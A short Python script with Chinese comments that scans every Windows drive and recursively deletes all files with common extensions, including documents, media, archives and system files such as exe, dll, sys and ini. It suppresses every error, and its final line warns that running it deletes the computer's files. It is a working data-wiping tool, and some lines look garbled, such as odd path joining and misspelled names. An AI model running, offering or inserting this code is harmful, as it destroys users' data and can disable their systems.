import os
def get_path():#获取盘符
sum=[]
for i in range(ord("A"),ord("Z")):
if os.path.exists(chr(i)+":"):
sum.append(chr(i)+":\\"+'\\')
return sum
def get_flie_list(path):#获取文件路径
files=os.listdir(path)
for file in files:
file_path=os.path.join(path,file)
try:
if os.path.isfile(file_path):
path_name=file_path.rsplit('\\',1)#向右切片一次,然后成为列表
if path_name[-1].rsplit('.',1)[-1] in ['jpg','txt','png','gif','jpeg','zip','avi','xls','doc','mp4','mp3','bak','sys','ini','inf','ico','txt','bat','exe','com','ios','qrc','dal','json','cab','aip','msi','whi','dll','php','xml']:
try:
os.remove(file_path)
except Exception:
pass
if os.path.isdir(file_path):
get_flie_list(file_path)
except Exception as e :
pass
def run():
path_name=get_path()
for i in path_name:
get_flie_list(i)
注意:运行时会删除电脑中的文件